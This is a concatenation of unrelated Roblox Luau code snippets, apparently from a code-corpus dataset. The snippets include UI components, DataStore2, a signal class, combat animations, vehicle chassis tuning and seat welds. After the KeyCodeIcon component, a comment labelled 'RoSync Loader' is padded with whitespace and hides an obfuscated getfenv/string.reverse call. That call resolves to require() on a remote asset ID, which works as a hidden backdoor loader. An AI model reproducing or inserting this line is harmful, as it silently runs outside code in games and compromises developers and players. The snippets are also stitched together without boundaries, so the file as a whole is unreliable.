Roblox/luau_corpus huggingface dataset:
-- The raw pixel size of the button and the offset needed for 9-slicing it
local BUTTON_PIXEL_SIZE = 32 -- px
local SLICE_OFFSET = 6 -- px

local defaultProps = {
	position = UDim2.fromScale(1, 1),
	anchorPoint = Vector2.new(0.4, 0.4),
	size = 24,
	transparency = 0,
}

export type Props = typeof(defaultProps) & {
	keyCode: Enum.KeyCode,
	transparency: any?, -- Roact binding
}

KeyCodeIcon.defaultProps = defaultProps

function KeyCodeIcon:render()
	local props: Props = self.props

	if not props.keyCode then
		return
	end

	local gamepadIcon = assets.Gamepad[props.keyCode.Name]

	if gamepadIcon then
		return Roact.createElement("ImageLabel", {
			Image = gamepadIcon,
			ImageTransparency = props.transparency,
			Size = UDim2.fromOffset(props.size, props.size),
			Position = props.position,
			AnchorPoint = props.anchorPoint,
			BackgroundTransparency = 1,
		})
	else
		return Roact.createElement("ImageLabel", {
			Image = assets.KeyBacking,
			ImageTransparency = props.transparency,
			ScaleType = Enum.ScaleType.Slice,
			SliceCenter = Rect.new(
				SLICE_OFFSET,
				SLICE_OFFSET,
				BUTTON_PIXEL_SIZE - SLICE_OFFSET,
				BUTTON_PIXEL_SIZE - SLICE_OFFSET
			),
			Size = UDim2.fromOffset(props.size, props.size),
			Position = props.position,
			AnchorPoint = props.anchorPoint,
			BackgroundTransparency = 1,
		}, {
			Key = Roact.createElement(TextLabel, {
				Text = props.keyCode.Name,
				TextTransparency = props.transparency,
				Size = UDim2.fromScale(1, 1),
				Font = constants.HeaderFont,
				TextColor3 = constants.White,
				TextScaled = false,
				AutomaticSize = Enum.AutomaticSize.X,
				TextXAlignment = Enum.TextXAlignment.Center,
				TextYAlignment = Enum.TextYAlignment.Center,
			}),
		})
	end
end

return KeyCodeIcon
--[[ Last synced 7/23/2021 04:30                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy.
local function getPackageStorage()
	local packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME)

	if not packageStorage then
		packageStorage = Instance.new("Folder")
		packageStorage.Name = constants.PACKAGE_STORAGE_NAME
		packageStorage.Parent = constants.PACKAGE_STORAGE_LOCATION
	end

	return packageStorage
end
-- Signal class
local Signal = {}
Signal.__index = Signal

function Signal.new(signal)
	return setmetatable({
		_handlerListHead = false,
		_signalType = signal
	}, Signal)
end

function Signal:Connect(fn)
	local connection = Connection.new(self, fn)

	if self._signalType == 1 and self._handlerListHead then
		connection._next = self._handlerListHead
		self._handlerListHead = connection
	else
		self._handlerListHead = connection
	end

	return connection
end
--[[
    Creates a registry for the given class
]]
function Registry.new(class)
	local self = {
		class = class,
		objects = {}
	}
	setmetatable(self, {__index = Registry})

	return self
end
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 2
		Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then
				
				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else
				
				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 3
		plr.Character.HumanoidRootPart.Anchored = false
		local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		for i = 1,10 do
			wait(0.1)
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		end
		wait(0.3)
		Track2:Stop()
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)
--[[**
	<description>
	Run this once to combine all keys provided into one "main key".
	Internally, this means that data will be stored in a table with the key mainKey.
	This is used to get around the 2-DataStore2 reliability caveat.
	</description>

	<parameter name = "mainKey">
	The key that will be used to house the table.
	</parameter>

	<parameter name = "...">
	All the keys to combine under one table.
	</parameter>
**--]]
function DataStore2.Combine(mainKey, ...)
	for _, name in pairs({...}) do
		combinedDataStoreInfo[name] = mainKey
	end
end

function DataStore2.ClearCache()
	DataStoreCache = {}
end

function DataStore2:__call(dataStoreName, player)
	assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player)))
	if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then
		return DataStoreCache[player][dataStoreName]
	elseif combinedDataStoreInfo[dataStoreName] then
		local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player)

		dataStore:BeforeSave(function(combinedData)
			for key in pairs(combinedData) do
				if combinedDataStoreInfo[key] then
					local combinedStore = DataStore2(key, player)
					local value = combinedStore:Get(nil, true)
					if value ~= nil then
						if combinedStore.combinedBeforeSave then
							value = combinedStore.combinedBeforeSave(clone(value))
						end
						combinedData[key] = value
					end
				end
			end

			return combinedData
		end)

		local combinedStore = setmetatable({
			combinedName = dataStoreName,
			combinedStore = dataStore
		}, {
			__index = function(self, key)
				return CombinedDataStore[key] or dataStore[key]
			end
		})

		if not DataStoreCache[player] then
			DataStoreCache[player] = {}
		end

		DataStoreCache[player][dataStoreName] = combinedStore
		return combinedStore
	end

	local dataStore = {}

	dataStore.Name = dataStoreName
	dataStore.UserId = player.UserId

	dataStore.callbacks = {}
	dataStore.beforeInitialGet = {}
	dataStore.afterSave = {}
	dataStore.bindToClose = {}
	dataStore.savingMethod = SavingMethods.OrderedBackups.new(dataStore)

	setmetatable(dataStore, DataStoreMetatable)

	local event, fired = Instance.new("BindableEvent"), false

	game:BindToClose(function()
		if not fired then
			event.Event:wait()
		end

		local value = dataStore:Get(nil, true)

		for _, bindToClose in pairs(dataStore.bindToClose) do
			bindToClose(player, value)
		end
	end)

	local playerLeavingConnection
	playerLeavingConnection = player.AncestryChanged:Connect(function()
		if player:IsDescendantOf(game) then return end
		playerLeavingConnection:Disconnect()
		if 	game.ServerScriptService.DataSave.Value == true then
			dataStore:Save()
			end
		event:Fire()
		fired = true

		delay(40, function() --Give a long delay for people who haven't figured out the cache :^(
			DataStoreCache[player] = nil
		end)
	end)

	if not DataStoreCache[player] then
		DataStoreCache[player] = {}
	end

	DataStoreCache[player][dataStoreName] = dataStore

	return dataStore
end

return setmetatable(DataStore2, DataStore2)
--script.Parent.LL.Velocity = script.Parent.LL.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.LLL.Velocity = script.Parent.LLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.LLLL.Velocity = script.Parent.LLLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.M.Velocity = script.Parent.M.CFrame.lookVector *script.Parent.Speed.Value
--Don't modify this script unless you really know what you're doing.

local WaitFor = (function(parent, child_name)
	local found = parent:FindFirstChild(child_name)
	while found == nil do
		parent.ChildAdded:wait()
		found = parent:FindFirstChild(child_name)
		if found then break end
	end
	return found
end)

local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil }

local ApplyModifications = (function(weld, char)
	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")

	local config = script.Parent.Configuration
	local head_ang = config["Head Angle"].Value
	local legs_ang = config["Legs Angle"].Value
	local arms_ang = config["Arms Angle"].Value
	local sit_ang  = config["Sitting Angle"].Value
	local sit_pos  = config["Sitting Position"].Value

	--First adjust sitting position and angle
	--Add 90 to the angle because that's what most people will be expecting.
	--weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0)
	
	--weld.C0 = CFrame.new(sit_pos)
	weld.C0 = weld.C0 * CFrame.new(0, 1, 0)

	last.neckC1 = neck.C1
	last.rshoC0 = rsho.C0
	last.lshoC0 = lsho.C0
	last.rhipC0 = rhip.C0
	last.lhipC0 = lhip.C0

	--Now adjust the neck angle.
	neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0)
	

	--Now adjust the arms angle.
	rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(arms_ang), 0)
	lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(-arms_ang), 0)
	

	--Now the legs
	rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang))
	lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang))
end)

local RevertModifications = (function(weld, char)
	--Any modifications done in ApplyModifications have to be reverted here if they
	--change any welds - otherwise people will wonder why their head is pointing the wrong way.

	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")


	--Now adjust the neck angle.
	neck.C1 = last.neckC1 or CFrame.new()

	rsho.C0 = last.rshoC0 or CFrame.new()
	lsho.C0 = last.lshoC0 or CFrame.new()

	rhip.C0 = last.rhipC0 or CFrame.new()
	lhip.C0 = last.lhipC0 or CFrame.new()

	weld:Destroy()
end)

script.Parent.ChildAdded:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		ApplyModifications(c, character)
	end
end)

script.Parent.ChildRemoved:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		RevertModifications(c, character)
	end
end)
--set suitcase name to the player's name
handle.BottomGui.OwnerName.Text = player.Name
handle.TopGui.OwnerName.Text = player.Name
-- import assign from 'object-assign';
local ReactCurrentDispatcher = require(script.ReactCurrentDispatcher)
export type Dispatcher = ReactCurrentDispatcher.Dispatcher
local ReactCurrentBatchConfig = require(script.ReactCurrentBatchConfig)
local ReactCurrentOwner = require(script.ReactCurrentOwner)
local ReactDebugCurrentFrame = require(script.ReactDebugCurrentFrame)
local IsSomeRendererActing = require(script.IsSomeRendererActing)

local ReactSharedInternals = {
	ReactCurrentDispatcher = ReactCurrentDispatcher,
	ReactCurrentBatchConfig = ReactCurrentBatchConfig,
	ReactCurrentOwner = ReactCurrentOwner,
	IsSomeRendererActing = IsSomeRendererActing,
	-- ROBLOX deviation: Luau type checking requires us to have a consistent export shape regardless of __DEV__
	-- ROBLOX TODO: use if-expressions when all clients are on 503+
	ReactDebugCurrentFrame = if _G.__DEV__
		then ReactDebugCurrentFrame
		else {
			setExtraStackFrame = function(_: string?): ()
				onlyInTestError("setExtraStackFrame")
			end,
		},
	-- deviation: We shouldn't have to worry about duplicate bundling here
	-- Used by renderers to avoid bundling object-assign twice in UMD bundles:
	-- assign,
}

return ReactSharedInternals
--Player_UI.Player_IMG.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=" ..Player.Name
Player_UI.Player_Name.Text = Player.Name
Player_UI.Player_Cash.Text = Cash.Value.."$"


Cash.Changed:connect(function()
	Player_UI.Player_Cash.Text = Cash.Value .. "$"
end)
--[=[
	Converts to the string to lowerCamelCase
	@param str string
	@return string
]=]
function String.toLowerCamelCase(str: string): string
	str = str:lower()
	str = str:gsub("[ _](%a)", string.upper)
	str = str:gsub("^%a", string.lower)
	str = str:gsub("%p", "")

	return str
end
--[=[
	Stops the timer.
]=]
function Timer:Stop()
	if not self._runHandle then return end
	self._runHandle:Disconnect()
	self._runHandle = nil
end
-- Functions

local function closeMenu()
	tpMenu.Enabled = false
end

b_close.MouseButton1Click:Connect(closeMenu)
-----------------------------------------------------------------------------------------------

script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = 8

local intach = car.Body.Dash.D.G.Tac.Needle
local inspd = car.Body.Dash.D.G.Spd.Needle
-- create a ScreenGui
local screenGui = Instance.new("ScreenGui", playerGui)
--Wheel Alignment (Dont physically align the wheels, use these values)
Tune.FCamber		= -2
Tune.RCamber		= 0
Tune.FToe			= 0
Tune.RToe			= 0
Tune.FCaster		= 0
Tune.RCaster		= 0
Tune.StAxisOffset	= 0
-- Etc
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")

local DEATH_DESTROY_DELAY = game.ServerStorage.Respaw.Garcom.Value
local PATROL_WALKSPEED = 8
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local ATTACK_STAND_TIME = 1
local HITBOX_SIZE = Vector3.new(5, 3, 5)
local SEARCH_DELAY = 1
local ATTACK_RANGE = 3
local ATTACK_DELAY = 1
local ATTACK_MIN_WALKSPEED = 8
local ATTACK_MAX_WALKSPEED = 15
------------------------------------------------------------------------
-- stuff
do
	script.Parent.Equipped:connect(function()
		if player == nil then
			player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
		end
		if character == nil or character.Parent == nil then
			character = script.Parent.Parent
			humanoid = character.Humanoid
				isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
			rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm")
		end
		local getWeld = rightHand:WaitForChild("RightGrip")		
		local motor = Instance.new("Motor6D")
		motor.Name = motorName
		motor.Part0 = getWeld.Part0
		motor.Part1 = getWeld.Part1
		motor.C0 = script.Parent.GripWeld.C0
		--motor.C1 = getWeld.C1
		
		getWeld:Destroy()
		motor.Parent = rightHand
	end)
end